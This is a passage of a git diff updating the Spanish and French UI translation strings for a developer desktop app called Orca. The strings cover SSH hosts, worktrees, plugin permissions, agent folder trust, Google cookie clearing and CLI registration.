         "b5675b0694": "Guardar",
         "ceeb8c6153": "Limpiar",
         "fbb90300e2": "Estimación personalizada",
@@ -3177,7 +3227,6 @@
               "f4c79cff5f": "Revisa el error del espacio de trabajo abajo y luego actualiza.",
               "ef90b21366": "No se encontraron vistas",
               "c0a50f96a4": "No se pueden cargar vistas",
-              "df4bd63c1d": "No asignado",
               "30402d2c6e": "Intenta buscar o actualizar.",
               "a2f31c4cd6": "No se encontraron proyectos de Linear",
               "c9b6e9f90d": "No se pueden cargar proyectos de Linear",
@@ -5613,7 +5662,8 @@
           "changesLost_one": "Se perderá {{count}} cambio sin confirmar",
           "changesLost_other": "Se perderán {{count}} cambios sin confirmar",
           "changesLost_many": "Se perderán {{count}} cambios sin confirmar",
-          "uncountedChangesLost": "Se perderán los cambios sin confirmar"
+          "uncountedChangesLost": "Se perderán los cambios sin confirmar",
+          "moreLoadedPaths": "y {{value0}} rutas cargadas más"
         },
         "DeleteWorktreeLineageNotice": {
           "a940f3c96e": "Se eliminarán los espacios de trabajo secundarios",
@@ -6676,7 +6726,8 @@
           "sshImportSynced_one": "Se añadió {{count}} host a Orca.",
           "sshImportSynced_other": "Se añadieron {{count}} hosts a Orca.",
           "sshImportSynced_many": "Se añadieron {{count}} hosts a Orca.",
-          "sshConfigPickerInvalidResponse": "Respuesta de host no válida de la configuración SSH"
+          "sshConfigPickerInvalidResponse": "Respuesta de host no válida de la configuración SSH",
+          "sshImportSynced": "Se sincronizó {{value0}} host{{value1}}."
         },
         "ForgetSshWorkspaceDialog": {
           "ghostBody": "{{host}} ya no es un host SSH guardado, por lo que este espacio de trabajo ya no está conectado a un host activo. Solo se puede eliminar de Orca — los archivos y ramas en el remoto permanecen intactos.",
@@ -6756,7 +6807,12 @@
                 "43d9395605": "{{value0}} eliminado, {{value1}} no eliminado",
                 "d42f1f14e0_one": "Reintentar rama {{count}}",
                 "d42f1f14e0_other": "Reintentar {{count}} ramas",
-                "d42f1f14e0_many": "Reintentar {{count}} ramas"
+                "d42f1f14e0_many": "Reintentar {{count}} ramas",
+                "0e0379f24a": "{{count}} sucursales mantenidas",
+                "6310412304": "Revisar sucursales {{count}}",
+                "a3cdd9d9e6": "Git mantuvo {{count}} ramas locales porque pueden contener confirmaciones no fusionadas. Las ramas mantenidas no conservan las carpetas del espacio de trabajo; sus confirmaciones permanecen en el repositorio. Orca puede continuar liberando espacio en el disco del espacio de trabajo en segundo plano.",
+                "cea24c2b7d": "{{count}} espacios de trabajo eliminados",
+                "d42f1f14e0": "Reintentar {{count}} ramas"
               }
             }
           }
@@ -6771,7 +6827,8 @@
           "285e1e4882": "Cancelar",
           "a0f9863597_one": "Forzar eliminación de rama {{count}}",
           "a0f9863597_other": "Forzar eliminación de ramas {{count}}",
-          "a0f9863597_many": "Forzar eliminación de ramas {{count}}"
+          "a0f9863597_many": "Forzar eliminación de ramas {{count}}",
+          "a0f9863597": "Forzar eliminación de ramas {{count}}"
         },
         "WorktreeListScrollToTopButton": {
           "jumpToTop": "Saltar hacia arriba"
@@ -6848,14 +6905,14 @@
         "sidebar": {
           "project": {
             "drop": {
-              "740e8d0d46": "Utilice Agregar proyecto para rutas de host",
+              "740e8d0d46": "Usa Agregar proyecto para rutas de host",
               "669e12dd97": "Carpetas locales y repositorios Git",
               "18d3cf40e9": "Comprobando carpeta",
-              "e344666fb8": "Tiempo de ejecución del servidor activo",
-              "ffc769ca29": "Suelta una carpeta para añadir un proyecto",
-              "d0f8943f8b": "Preparando la incorporación del proyecto",
-              "wslFolder": "Suelte una carpeta WSL para agregar un proyecto",
-              "wslFolderDescription": "Carpetas bajo \\\\wsl.localhost"
+              "e344666fb8": "Servidor activo",
+              "ffc769ca29": "Suelta una carpeta para agregar el proyecto",
+              "d0f8943f8b": "Preparando el flujo para agregar proyecto",
+              "wslFolder": "Suelta una carpeta de WSL para agregar un proyecto",
+              "wslFolderDescription": "Carpetas en \\\\wsl.localhost"
             }
           }
         },
@@ -6933,6 +6990,19 @@
           "needsInput": "Requiere intervención",
           "running": "En ejecución",
           "idle": "Inactivo"
+        },
+        "hostSection": {
+          "localWindows": "Windows local",
+          "localMac": "Mac local",
+          "localLinux": "Linux local",
+          "thisComputer": "Este equipo",
+          "host": "Host"
+        },
+        "workspaceBoardStatus": {
+          "todo": "Por hacer",
+          "inProgress": "En curso",
+          "inReview": "En revisión",
+          "done": "Hecho"
         }
       },
       "shared": {
@@ -6999,6 +7069,21 @@
         }
       },
       "settings": {
+        "keep": {
+          "local": {
+            "main": {
+              "up": {
+                "to": {
+                  "date": {
+                    "setting": {
+                      "f4c23aee76": "Mantener main local actualizado"
+                    }
+                  }
+                }
+              }
+            }
+          }
+        },
         "AccountsPane": {
           "locationSaveFailed": "No se pudo guardar la ubicación de las cuentas. Inténtalo de nuevo.",
           "dbb9626ed1": "Cancelar",
@@ -7224,7 +7309,6 @@
           "5f5142a62a": "Icono anterior"
         },
         "AppearancePane": {
-          "3057983501": "No asignado",
           "0cd9b8228f": "Elige el icono de la app que se muestra en el Dock y en el selector de ventanas.",
           "61d842eca0": "Muestra el acceso directo de Orca Mobile en la barra lateral. Sigue estando disponible en Toolbox.",
           "dc29f3cc0d": "Barra lateral",
@@ -7352,6 +7436,9 @@
           "333984cf90": "Usar una sesión de navegador existente",
           "9895ed44de": "Abrir Computer Use"
         },
+        "BrowserUseEnableSwitch": {
+          "ce4d6f80d8": "Activar Agent Browser Use"
+        },
         "BrowserUseExamples": {
           "1199258ace": "Copiar",
           "1188e56af4": "Copiar prompt de ejemplo",
@@ -7592,10 +7679,6 @@
             "modeAriaLabel": "Modo de apertura del Panel de agentes",
             "modeInWindow": "En ventana",
             "modePopout": "Ventana emergente"
-          },
-          "browserExtensions": {
-            "copy": "Añade Ajustes › Navegador › Extensiones para los perfiles de navegador locales.",
-            "toggleLabel": "Activar o desactivar extensiones del navegador"
           }
         },
         "FloatingWorkspacePane": {
@@ -8315,6 +8398,9 @@
           "d32b87e754": "Usar la plantilla de revisión cuando esté disponible",
           "981eae7e14": "Borrador de forma predeterminada"
         },
+        "RepositorySourceControlAiSection": {
+          "112f3b934f": "Source Control AI"
+        },
         "RuntimeAccessGrantList": {
           "sshAccessCaveat": "Revocar el acceso aquí no impide que alguien con acceso SSH a este equipo vuelva a emparejarse. Para bloquearlo, retira su acceso SSH.",
           "6f6d5188ed": "Revocar {{value0}}",
@@ -9713,13 +9799,6 @@
               "inWindow": "en la ventana",
               "worktrees": "árboles de trabajo",
               "eaf17a7214": "Panel de agentes"
-            },
-            "browserExtensions": {
-              "title": "Extensiones del navegador",
-              "description": "Ejecuta extensiones de Chrome, como gestores de contraseñas, en las pestañas del navegador de Orca.",
-              "extension": "extensión",
-              "chrome": "chrome",
-              "password": "gestor de contraseñas"
             }
           }
         },
@@ -10905,7 +10984,7 @@
         },
         "agent-workspace-trust-copy": {
           "title": "Confiar en la carpeta cuando Orca inicia un agente",
-          "description": "Los agentes que inicia Orca pueden omitir su pregunta \"Do you trust this folder?\", así que los hooks y ajustes de agente del proyecto se ejecutan de inmediato. Orca pregunta una vez por repositorio la primera vez que inicias un agente allí, y puedes cambiar la respuesta en los ajustes de ese repositorio. Desactívalo para que los agentes pregunten siempre. Un agente que pregunta mientras se ejecuta sin que estés mirando, como un worker de orquestación, una automatización o un agente iniciado desde tu teléfono, espera hasta que respondas en su terminal. Las carpetas que ya son de confianza lo siguen siendo."
+          "description": "Los agentes que inicia Orca pueden omitir su pregunta \"Do you trust this folder?\", así que los hooks y ajustes de agente del proyecto se ejecutan de inmediato. Puedes desactivarlo para un repositorio en los ajustes de ese repositorio. Desactívalo para que los agentes pregunten siempre. Un agente que pregunta mientras se ejecuta sin que estés mirando, como un worker de orquestación, una automatización o un agente iniciado desde tu teléfono, espera hasta que respondas en su terminal. Las carpetas que ya son de confianza lo siguen siendo."
         },
         "agent-generated-tab-title-copy": {
           "19ad21615a": "Generar títulos de pestañas automáticamente",
@@ -11538,7 +11617,7 @@
           },
           "decisionFailed": "No se pudo guardar la decisión sobre los permisos. Inténtalo de nuevo.",
           "fullAccessWarning": "Acceso total: se ejecuta como un programa normal y puede leer tus archivos, usar la red, ejecutar otros programas y controlar Orca, incluidas tus terminales y agentes.",
-          "uiWarning": "Ejecuta el código del autor dentro de Orca para dibujar su vista. Orca muestra a qué puede acceder y pregunta antes de activarlo."
+          "uiWarning": "Ejecuta el código del editor dentro de Orca para dibujar su vista. Orca muestra a qué puede acceder y pregunta antes de activarlo."
         },
         "PluginConsentProvenance": {
           "official": "Official",
@@ -12392,7 +12471,9 @@
           "automationsLeftDisabled_other": "El servidor de Orca de este host asumió {{count}} automatizaciones, pero no pudo volver a activarlas. Actívalas en Automatizaciones.",
           "automationsLeftDisabled_many": "El servidor de Orca de este host asumió {{count}} automatizaciones, pero no pudo volver a activarlas. Actívalas en Automatizaciones.",
           "windowsBuildUnsupported": "Este host ejecuta una versión de Windows anterior a Windows 10 y Windows Server 2016, por lo que no puede ejecutar el servidor de Orca. Usa un host con una versión más reciente de Windows o un host Linux o macOS.",
-          "windowsNoExtractor": "Este host Windows no tiene tar.exe ni Expand-Archive de PowerShell, por lo que Orca no puede descomprimir allí su servidor. Instala Windows PowerShell 5.1 en el host y vuelve a conectarte."
+          "windowsNoExtractor": "Este host Windows no tiene tar.exe ni Expand-Archive de PowerShell, por lo que Orca no puede descomprimir allí su servidor. Instala Windows PowerShell 5.1 en el host y vuelve a conectarte.",
+          "linkedProjects": "El servidor Orca de este host ya tenía {{paths}}, así que este escritorio ahora usa la copia del servidor. Las pestañas de este escritorio y {{count}} automatizaciones allí no se movieron, y los worktrees que creó allí aparecen como worktrees externos.",
+          "olderTerminals": "{{count}} terminales iniciados por una versión anterior de Orca siguen ejecutándose en este host y no se detienen solos. Ciérralos en esa versión de Orca o termínalos en el host y vuelve a conectarte."
         },
         "deltaMove": {
           "action": "Mover los proyectos nuevos…",
@@ -12531,7 +12612,7 @@
         "SshRestoreRemovedHosts": {
           "title": "¿Restaurar los hosts eliminados?",
           "description": "Los hosts de ~/.ssh/config que eliminaste en Orca vuelven a Ajustes y a todos los selectores de hosts.",
-          "none": "No hay hosts de ~/.ssh/config eliminados en Orca que se puedan restaurar.",
+          "none": "No hay hosts eliminados de ~/.ssh/config.",
           "confirm": "Restaurar"
         },
         "SshTargetList": {
@@ -12814,7 +12895,7 @@
           "commands": "Comandos y paneles",
           "catalogLabel": "Filtrar por catálogo",
           "editors": "Editores",
-          "remoteVms": "Remoto/VM",
+          "remoteVms": "Remotos/VM",
           "games": "Juegos",
           "agents": "Agentes",
           "integrations": "Integraciones"
@@ -12968,13 +13049,13 @@
           "translations": "Las traducciones pueden cambiar cualquier texto de Orca. Asegúrate de que confías en {{value0}}."
         },
         "pluginConsentCopy": {
-          "addsCommands": "Añade comandos",
-          "addsPanel": "Añade un panel",
+          "addsCommands": "Agrega comandos",
+          "addsPanel": "Agrega un panel",
           "contentOnly": "Solo contenido",
-          "fullAccess": "Acceso total",
-          "addsVmRecipes": "Añade recetas de VM",
+          "fullAccess": "Acceso completo",
+          "addsVmRecipes": "Agrega recetas de VM",
           "opensAndEditsFiles": "Abre y edita archivos",
-          "runsPluginCode": "Ejecuta código del plugin"
+          "runsPluginCode": "Ejecuta código del complemento"
         },
         "pluginTryAction": {
           "incompleteLanguage": "Este paquete de idioma está demasiado incompleto para cambiar a él."
@@ -13009,7 +13090,7 @@
         },
         "PluginPageHero": {
           "screenshots": "Capturas de pantalla",
-          "openScreenshot": "Abrir captura de pantalla: {{value0}}",
+          "openScreenshot": "Abrir captura: {{value0}}",
           "position": "{{value0}} de {{value1}}",
           "previous": "Captura anterior",
           "next": "Captura siguiente"
@@ -13039,27 +13120,6 @@
           "shownPluginCount_other": "{{count}} complementos coincidentes mostrados, incluido este",
           "samePublisher": "Más elementos incluidos como {{value0}}",
           "shownPluginCount_many": "{{count}} complementos coincidentes mostrados, incluido este"
-        },
-        "RepositorySourceControlAiSection": {
-          "112f3b934f": "Source Control AI"
-        },
-        "keep": {
-          "local": {
-            "main": {
-              "up": {
-                "to": {
-                  "date": {
-                    "setting": {
-                      "f4c23aee76": "Mantener main local actualizado"
-                    }
-                  }
-                }
-              }
-            }
-          }
-        },
-        "BrowserUseEnableSwitch": {
-          "ce4d6f80d8": "Activar Agent Browser Use"
         }
       },
       "right": {
@@ -14740,7 +14800,8 @@
           "showMoreAgents_one": "Mostrar {{count}} agente más →",
           "showMoreAgents_other": "Mostrar {{count}} agentes más →",
           "showMoreAgents_many": "Mostrar {{count}} agentes más →",
-          "agentNotOnPath": "<agent>{{agent}}</agent> aún no está en tu PATH. Orca lo usará como predeterminado y podrás instalarlo cuando quieras."
+          "agentNotOnPath": "<agent>{{agent}}</agent> aún no está en tu PATH. Orca lo usará como predeterminado y podrás instalarlo cuando quieras.",
+          "showMoreAgents": "Mostrar {{value0}} agentes más →"
         },
         "IntegrationsStep": {
           "277f30eb34": "Linear, GitLab, Bitbucket, Azure DevOps, Gitea y Jira se encuentran en Configuración > Integraciones.",
@@ -15806,7 +15867,8 @@
           "showAiNotes_many": "Mostrar {{count}} notas de IA",
           "send": "Enviar",
           "openDiff": "Abrir diff",
-          "openInEditor": "Abrir en el editor"
+          "openInEditor": "Abrir en el editor",
+          "skippedConflictsExcluded": "Se excluyeron {{count}} conflictos no resueltos de esta vista de diff."
         },
         "ConflictComponents": {
           "f338288514": "Cargando contenido del conflicto…",
@@ -17905,7 +17967,10 @@
           "markManyUnread_many": "Marcar {{count}} agentes como no leídos",
           "clearMany_one": "Quitar {{count}} agente de la lista",
           "clearMany_other": "Quitar {{count}} agentes de la lista",
-          "clearMany_many": "Quitar {{count}} agentes de la lista"
+          "clearMany_many": "Quitar {{count}} agentes de la lista",
+          "clearMany": "Quitar {{count}} agentes de la lista",
+          "markManyRead": "Marcar {{count}} agentes como leídos",
+          "markManyUnread": "Marcar {{count}} agentes como no leídos"
         }
       },
       "confirmation": {
@@ -18076,7 +18141,8 @@
               "chooseSource": "Elige el origen de tareas",
               "hostCount_one": "{{count}} host",
               "hostCount_other": "{{count}} hosts",
-              "hostCount_many": "{{count}} hosts"
+              "hostCount_many": "{{count}} hosts",
+              "hostCount": "{{value0}} hosts"
             }
           }
         },
@@ -18197,7 +18263,6 @@
         "status": "Estado",
         "priority": "Prioridad",
         "assignee": "Asignatario",
-        "unassigned": "Sin asignar",
         "labels": "Etiquetas",
         "countSelected": "{{count}} seleccionados",
         "selected": "seleccionados",
@@ -18256,7 +18321,7 @@
           "searchPlaceholder": "Buscar plugins",
           "updates": "Actualizaciones",
           "clearSearch": "Borrar búsqueda",
-          "notInstalled": "No instalados"
+          "notInstalled": "No instalado"
         },
         "PluginListGroup": {
           "showAll": "Mostrar {{value0}} más",
@@ -18276,7 +18341,9 @@
         "failingChip": "{{value0}} fallando",
         "pendingChip": "{{value0}} pendiente",
         "needsActionChip": "{{value0}} requiere acción",
-        "unresolvedChip": "{{value0}} sin resolver"
+        "unresolvedChip": "{{value0}} sin resolver",
+        "noChecks": "No se encontraron verificaciones",
+        "passingSummary": "{{value0}} de {{value1}} verificaciones superadas"
       },
       "artifacts": {
         "ArtifactsPage": {
@@ -18781,14 +18848,10 @@
         }
       },
       "agent-workspace-trust-decision": {
-        "prompt-title": "¿Confiar en {{repo}} para los agentes?",
-        "prompt-description": "Los agentes como Claude Code y Codex preguntan \"Do you trust this folder?\" antes de cargar los ajustes y hooks de agente propios del proyecto, que pueden ejecutar comandos. Orca puede responder que sí por ti en todos los worktrees de este repositorio.",
-        "prompt-remembered": "Orca recuerda tu respuesta para este repositorio. Puedes cambiarla en los ajustes del repositorio.",
         "trust-repository": "Confiar en el repositorio",
         "let-agents-ask": "Dejar que los agentes pregunten",
         "setting-title": "Confianza de carpetas para agentes",
         "setting-description": "Indica si los agentes que Orca inicia en los worktrees de este repositorio omiten su pregunta \"Do you trust this folder?\" y cargan de inmediato los ajustes y hooks de agente del proyecto.",
-        "setting-undecided": "Aún no se ha decidido. Orca preguntará la próxima vez que inicies un agente aquí.",
         "setting-global-off": "La confianza de carpetas está desactivada en los ajustes de Agentes, así que los agentes siempre preguntan.",
         "keyword-trust": "confianza",
         "keyword-hooks": "hooks"
@@ -19507,7 +19570,12 @@
           "stoppedCount_many": "{{count}} detenidos",
           "unverifiableCount_one": "{{count}} con estado no disponible",
           "unverifiableCount_other": "{{count}} con estado no disponible",
-          "unverifiableCount_many": "{{count}} con estado no disponible"
+          "unverifiableCount_many": "{{count}} con estado no disponible",
+          "failedCount": "{{value0}} con error",
+          "idleCount": "{{value0}} inactivo(s)",
+          "stoppedCount": "{{value0}} detenido(s)",
+          "unverifiableCount": "{{value0}} con estado no disponible",
+          "workingCount": "{{value0}} trabajando"
         },
         "tokens": "{{value0}} tokens",
         "started_one": "Inició {{count}} subagente",
@@ -19552,7 +19620,8 @@
         "clearAll": "Borrar todo",
         "moveChanged": "La cola cambió antes de este movimiento. Intenta arrastrar el mensaje de nuevo.",
         "reorderHint": "Arrastra para reordenar o usa las teclas de flecha arriba y abajo.",
-        "reorderMessage": "Reordenar mensaje"
+        "reorderMessage": "Reordenar mensaje",
+        "imageCount": "{{count}} imágenes"
       },
       "thought": "Pensó",
       "thoughtForDuration": "Pensó durante {{duration}}",
@@ -19633,6 +19702,14 @@
         "stateUnverifiableCount_one": "{{value0}} con estado no disponible",
         "stateUnverifiableCount_other": "{{value0}} con estado no disponible",
         "stateUnverifiableCount_many": "{{value0}} con estado no disponible",
+        "headerTotal": "{{value0}} tareas en segundo plano",
+        "stateBlockedCount": "{{value0}} en estado bloqueado",
+        "stateDoneCount": "{{value0}} en estado terminado",
+        "stateIdleCount": "{{value0}} en estado detenido",
+        "stateMonitoringCount": "{{value0}} supervisando",
+        "stateUnverifiableCount": "{{value0}} con estado no disponible",
+        "stateWaitingCount": "{{value0}} esperando",
+        "stateWorkingCount": "{{value0}} trabajando",
         "showAgent": "Mostrar {{value0}} en la conversación"
       },
       "taskList": {
@@ -19651,7 +19728,8 @@
         "showAll": "Lista completa de tareas",
         "progress_one": "Tareas completadas: {{completed}} de {{count}}",
         "progress_other": "Tareas completadas: {{completed}} de {{count}}",
-        "progress_many": "Tareas completadas: {{completed}} de {{count}}"
+        "progress_many": "Tareas completadas: {{completed}} de {{count}}",
+        "progress": "{{completed}} de {{total}} tareas completadas"
       },
       "turnDiff": {
         "partial": "Diff parcial",
@@ -19699,7 +19777,8 @@
         "asked": "Preguntó:",
         "questionCount_one": "{{count}} pregunta",
         "questionCount_other": "{{count}} preguntas",
-        "questionCount_many": "{{count}} preguntas"
+        "questionCount_many": "{{count}} preguntas",
+        "questionCount": "{{value0}} preguntas"
       },
       "drop": {
         "messageTitle": "Suelta para adjuntar a este mensaje",
@@ -19747,7 +19826,7 @@
         "set": "Objetivo establecido"
       },
       "structuredSessionHostDeclined": "Se abrió {{value0}} en una terminal",
-      "structuredSessionHostDeclinedDescription": "Este espacio de trabajo no puede ejecutar un chat de {{value0}}.",
+      "structuredSessionHostDeclinedDescription": "Este servidor no puede ejecutar un chat de {{value0}} en este espacio de trabajo.",
       "structuredSessionHostUnreachable": "No se pudo contactar con {{value0}}",
       "structuredSessionHostUnreachableDescription": "Orca no abrió un chat de {{value0}}. Comprueba la conexión con el servidor y vuelve a intentarlo.",
       "hostOutage": {
@@ -20909,23 +20988,19 @@
     }
   },
   "browser": {
-    "passwords": {
-      "savePrompt": {
-        "open": "Aviso para guardar contraseña",
-        "updateTitle": "¿Actualizar contraseña?",
-        "saveTitle": "¿Guardar contraseña?",
-        "username": "Nombre de usuario",
-        "password": "Contraseña",
-        "never": "Nunca para este sitio",
-        "notNow": "Ahora no",
-        "update": "Actualizar",
-        "save": "Guardar"
-      },
-      "fill": {
-        "noUsername": "(sin nombre de usuario)",
-        "title": "Inicios de sesión guardados",
-        "otherLogins": "Otros inicios de sesión en este sitio"
-      }
+    "googleCookieClear": {
+      "signInKeyword": "inicio de sesión",
+      "unavailable": "No disponible para este perfil en el host seleccionado.",
+      "explanation": "Google vincula los inicios de sesión al navegador en el que se hicieron, así que Orca no importa cookies de Google de otros navegadores. Si Google se queda en la cuenta equivocada o te cierra la sesión una y otra vez, borra las cookies de Google del perfil activo y vuelve a iniciar sesión en Google desde Orca. Los demás sitios mantienen la sesión iniciada.",
+      "action": "Borrar cookies de Google…",
+      "confirmTitle": "¿Borrar las cookies de Google de {{profile}}?",
+      "confirmDescription": "Se cerrará tu sesión de Google en el navegador de Orca para este perfil. Los demás sitios mantienen la sesión iniciada.",
+      "clear": "Borrar",
+      "cancel": "Cancelar",
+      "cleared": "Se borraron las cookies de Google de {{profile}}.",
+      "empty": "No hay cookies de Google que borrar en {{profile}}.",
+      "remaining": "No se pudieron quitar algunas cookies de Google de {{profile}}. Inténtalo de nuevo.",
+      "unverified": "No se pudieron comprobar las cookies de Google de {{profile}}. Inténtalo de nuevo."
     },
     "newTab": {
       "emptyHint": "Busca o introduce una dirección arriba. Aquí aparecerán los sitios que visites, los servidores de desarrollo que se ejecuten en este espacio de trabajo, y su PR e incidencia.",
@@ -21145,6 +21220,24 @@
         "imported_many": "Se importaron {{count}} cookies para {{domains}}. Recarga la página para usarlas.",
         "failed": "No se pudieron importar las cookies: {{reason}}"
       }
+    },
+    "passwords": {
+      "savePrompt": {
+        "open": "Aviso para guardar contraseña",
+        "updateTitle": "¿Actualizar contraseña?",
+        "saveTitle": "¿Guardar contraseña?",
+        "username": "Nombre de usuario",
+        "password": "Contraseña",
+        "never": "Nunca para este sitio",
+        "notNow": "Ahora no",
+        "update": "Actualizar",
+        "save": "Guardar"
+      },
+      "fill": {
+        "noUsername": "(sin nombre de usuario)",
+        "title": "Inicios de sesión guardados",
+        "otherLogins": "Otros inicios de sesión en este sitio"
+      }
     }
   },
   "runtimeRpc": {
@@ -21915,7 +22008,10 @@
       "reopened_many": "Se volvieron a abrir {{count}} terminales",
       "resumed_one": "Se reanudó {{count}} sesión de agente.",
       "resumed_other": "Se reanudaron {{count}} sesiones de agente.",
-      "resumed_many": "Se reanudaron {{count}} sesiones de agente."
+      "resumed_many": "Se reanudaron {{count}} sesiones de agente.",
+      "reopenTerminal": "Volver a abrir {{count}} terminales",
+      "reopened": "Se volvieron a abrir {{count}} terminales",
+      "resumed": "Se reanudaron {{count}} sesiones de agente."
     },
     "severedDaemonBanner": {
       "unknownCount": "sus terminales en ejecución",
@@ -21933,7 +22029,8 @@
       "confirm": "Reiniciar y terminar procesos",
       "count_other": "{{count}} terminales en ejecución",
       "count_many": "{{count}} terminales en ejecución",
-      "count_one": "{{count}} terminal en ejecución"
+      "count_one": "{{count}} terminal en ejecución",
+      "count": "{{count}} terminales en ejecución"
     },
     "restartedInputNotSent": "El terminal se reinició mientras escribías, así que parte de la entrada puede no haberle llegado. Revisa el nuevo shell antes de volver a escribirla.",
     "typingBeforeStartNotSent": "Algunas teclas pulsadas mientras se iniciaba el terminal no se enviaron.",
diff --git a/src/renderer/src/i18n/locales/fr.json b/src/renderer/src/i18n/locales/fr.json
index 11bcd049e30..f0747aaba51 100644
--- a/src/renderer/src/i18n/locales/fr.json
+++ b/src/renderer/src/i18n/locales/fr.json
@@ -27,23 +27,19 @@
     }
   },
   "browser": {
-    "passwords": {
-      "savePrompt": {
-        "open": "Proposition d’enregistrer le mot de passe",
-        "updateTitle": "Mettre à jour le mot de passe ?",
-        "saveTitle": "Enregistrer le mot de passe ?",
-        "username": "Nom d’utilisateur",
-        "password": "Mot de passe",
-        "never": "Jamais pour ce site",
-        "notNow": "Pas maintenant",
-        "update": "Mettre à jour",
-        "save": "Enregistrer"
-      },
-      "fill": {
-        "noUsername": "(sans nom d’utilisateur)",
-        "title": "Identifiants enregistrés",
-        "otherLogins": "Autres identifiants sur ce site"
-      }
+    "googleCookieClear": {
+      "signInKeyword": "connexion",
+      "unavailable": "Indisponible pour ce profil sur l’hôte sélectionné.",
+      "explanation": "Google lie ses connexions au navigateur dans lequel elles ont été faites, donc Orca n’importe pas les cookies Google des autres navigateurs. Si Google reste bloqué sur le mauvais compte ou vous déconnecte sans cesse, effacez les cookies Google du profil actif, puis reconnectez-vous à Google dans Orca. Les autres sites restent connectés.",
+      "action": "Effacer les cookies Google…",
+      "confirmTitle": "Effacer les cookies Google de {{profile}} ?",
+      "confirmDescription": "Vous serez déconnecté de Google dans le navigateur d’Orca pour ce profil. Les autres sites restent connectés.",
+      "clear": "Effacer",
+      "cancel": "Annuler",
+      "cleared": "Cookies Google effacés de {{profile}}.",
+      "empty": "Aucun cookie Google à effacer dans {{profile}}.",
+      "remaining": "Certains cookies Google n’ont pas pu être supprimés de {{profile}}. Réessayez.",
+      "unverified": "Impossible de vérifier les cookies Google de {{profile}}. Réessayez."
     },
     "newTab": {
       "emptyHint": "Recherchez ou saisissez une adresse ci-dessus. Les sites que vous visitez, les serveurs de développement exécutés dans cet espace de travail, ainsi que sa PR et son ticket s’afficheront ici.",
@@ -263,6 +259,24 @@
         "imported_many": "{{count}} cookies importés pour {{domains}}. Rechargez la page pour les utiliser.",
         "failed": "Impossible d'importer les cookies : {{reason}}"
       }
+    },
+    "passwords": {
+      "savePrompt": {
+        "open": "Proposition d’enregistrer le mot de passe",
+        "updateTitle": "Mettre à jour le mot de passe ?",
+        "saveTitle": "Enregistrer le mot de passe ?",
+        "username": "Nom d’utilisateur",
+        "password": "Mot de passe",
+        "never": "Jamais pour ce site",
+        "notNow": "Pas maintenant",
+        "update": "Mettre à jour",
+        "save": "Enregistrer"
+      },
+      "fill": {
+        "noUsername": "(sans nom d’utilisateur)",
+        "title": "Identifiants enregistrés",
+        "otherLogins": "Autres identifiants sur ce site"
+      }
     }
   },
   "githubChecks": {
@@ -279,7 +293,7 @@
     "chat": {
       "permissionsAgentsLink": "Paramètres → Agents",
       "permissionsTitle": "Autorisations pour les nouveaux chats",
-      "permissionsDescription": "Uniquement pour les nouveaux chats. Les paramètres par défaut propres à chaque agent se trouvent dans Paramètres → Agents.",
+      "permissionsDescription": "S’applique uniquement aux nouveaux chats. Les agents ouverts dans un terminal utilisent Paramètres → Agents → Autorisations des agents.",
       "description": "Choisissez l’apparence et le comportement des chats.",
       "names": {
         "title": "Noms des chats",
@@ -448,6 +462,21 @@
         "terminalControlledTooltip": "Suit l’interface du terminal. Désactivez Utiliser l’interface du terminal pour le modifier.",
         "fontKeywordTypeface": "police de caractères",
         "fontKeywordTypography": "typographie"
+      },
+      "editorTheme": {
+        "light": "Thème clair de l’éditeur",
+        "lightDescription": "Couleurs de l’éditeur de code, des comparaisons et des notebooks lorsque l’application est claire.",
+        "dark": "Thème sombre de l’éditeur",
+        "darkDescription": "Couleurs de l’éditeur de code, des comparaisons et des notebooks lorsque l’application est sombre.",
+        "followApp": "Identique au thème de l’application",
+        "title": "Thème de l’éditeur",
+        "description": "Couleurs de l’éditeur de code, des comparaisons et des notebooks, indépendamment du thème de l’application.",
+        "keyword": {
+          "editor": "éditeur",
+          "code": "code",
+          "monaco": "monaco",
+          "syntax": "syntaxe"
+        }
       }
     },
     "browser": {
@@ -653,6 +682,7 @@
       "defaultSurfaceSetAllChat": "Tout mettre en Chat",
       "defaultSurfaceSetAllTerminal": "Tout mettre en Terminal",
       "sameAsChoice": "Identique à {{agent}} · {{choice}}",
+      "modelListFallback": "Liste intégrée. Orca n’a pas pu obtenir de liste de modèles depuis cet hôte.",
       "chatUnavailableOnWindows": "{{value0}} Chat n’est pas encore disponible sous Windows : {{value0}} s’ouvre donc dans un terminal sur cet hôte. Les chats sur un hôte macOS ou Linux fonctionnent toujours.",
       "undetectedCommandHint": "Si la CLI {{agent}} est installée hors de PATH, saisissez le chemin complet de son exécutable sur cet hôte."
     },
@@ -1680,6 +1710,52 @@
         "title": "Ajoutez les dossiers des lecteurs Windows sur cet ordinateur",
         "descriptionWithPath": "{{value0}} se trouve sur un lecteur Windows. Git dans WSL y signale de faux changements de fin de ligne, ne voit pas les modifications faites depuis Windows et y effectue les recherches lentement.",
         "description": "Ce dossier se trouve sur un lecteur Windows. Git dans WSL y signale de faux changements de fin de ligne, ne voit pas les modifications faites depuis Windows et y effectue les recherches lentement."
+      },
+      "cli": {
+        "detail": {
+          "registerForWsl": "Enregistrez {{path}} pour utiliser Orca depuis WSL.",
+          "registerForTerminal": "Enregistrez {{path}} pour utiliser Orca depuis le terminal.",
+          "registerForWindowsShell": "Enregistrez {{path}} pour utiliser Orca depuis l’invite de commandes ou PowerShell.",
+          "devLauncherOnly": "Le mode développement utilise un lanceur généré uniquement pour la validation.",
+          "differentLauncher": "{{path}} pointe vers un autre lanceur.",
+          "launcherMissing": "Le lanceur CLI fourni est absent de cette version d’Orca.",
+          "noWslDistro": "Aucune distribution WSL n’est disponible.",
+          "notOrcaLauncherScript": "{{path}} existe, mais ce n’est pas un script de lancement Orca.",
+          "notOrcaSymlink": "{{path}} existe, mais ce n’est pas un lien symbolique Orca.",
+          "olderLauncher": "{{path}} contient un lanceur Orca plus ancien.",
+          "platformUnsupported": "L’enregistrement de la CLI n’est pas implémenté sur cette plateforme.",
+          "readlinkPermissionDenied": "Orca n’a pas l’autorisation d’inspecter {{path}}. Vérifiez les autorisations du chemin et de son dossier parent, puis réessayez.",
+          "registeredAt": "Enregistré dans {{path}}.",
+          "registeredInDistroAt": "Enregistré dans {{distro}} sous {{path}}.",
+          "registrationUnavailable": "L’enregistrement de la CLI n’est pas disponible dans cette version.",
+          "unreadableSymlink": "Impossible de lire {{path}}. Réenregistrez-le pour le réparer.",
+          "windowsLauncherMissing": "Le lanceur CLI Orca pour Windows est absent.",
+          "windowsPathCheckFailed": "Le lanceur Orca existe, mais Orca n’a pas pu vérifier le PATH de votre utilisateur Windows.",
